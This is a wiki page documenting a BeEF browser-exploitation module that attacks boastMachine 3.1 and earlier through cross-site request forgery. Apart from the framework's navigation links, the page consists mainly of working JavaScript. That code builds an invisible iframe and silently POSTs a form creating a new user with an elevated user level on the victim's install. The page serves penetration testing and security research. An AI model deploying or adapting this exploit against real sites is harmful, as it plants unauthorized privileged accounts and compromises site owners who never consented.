Module: boastMachine 3.1 Add User CSRF

Haoxi Tan edited this page 2020-01-09 12:48:59 +10:00

Table of Contents

• Summary
• Internal Working
• Feedback

Summary

• Objective: add a user to a boastMachine <= 3.1 install

• Authors: bcoles, Dr.NaNo

• Browsers: All

• Code

Internal Working

Uses an invisible iframe with a POST request to add a user

var base     = '<%= @base %>';
var username = '<%= @username %>';
var password = '<%= @password %>';
var email    = '<%= @email %>';

var boastmachine_iframe = beef.dom.createIframeXsrfForm(base, "POST", "application/x-www-form-urlencoded", [
        {'type':'hidden', 'name':'action',     'value':'add_user'},
        {'type':'hidden', 'name':'do',         'value':'add'},
        {'type':'hidden', 'name':'user_login', 'value':username},
        {'type':'hidden', 'name':'user_pass',  'value':password},
        {'type':'hidden', 'name':'user_name',  'value':username},
        {'type':'hidden', 'name':'user_email', 'value':email},
        {'type':'hidden', 'name':'blogs[]',    'value':'4'},
        {'type':'hidden', 'name':'user_level', 'value':'4'},
]);

Feedback

I - Starting BeEF

1. Introducing BeEF
2. Installation
3. Basics
4. Troubleshooting

II - Basic Utilization

1. Configuration
2. Interface
3. Information Gathering
4. Social Engineering
5. Network Discovery
6. Metasploit
7. Tunneling
8. XSS Rays
9. Persistence
10. Creating a Module
11. Geolocation
12. Using-BeEF-With-NGROK

III - Advanced Utilization

1. RESTful API
2. Autorun Rule Engine
3. Notifications
4. Console
5. WebRTC Extension

IV - Development

1. Contributing
2. ActiveRecord
3. Development Organization
4. Architecture
5. BeEF Javascript API
6. Step By Step Module Creation
7. Creating a New Extension
8. BeEF Testing
9. Browser & OS Compatibility
10. Database Schema
11. Development Milestones
12. Command Module Config
13. Command Module API

V - References

1. FAQ
2. Other
3. References
4. Modules
5. Release Notes

User Guide

I. Introduction   |   II. Basic Utilization   |   III. Advanced Utilization   |   IV. Development   |   V. References

Community

Blog   |   Code   |   Youtube   |   Twitter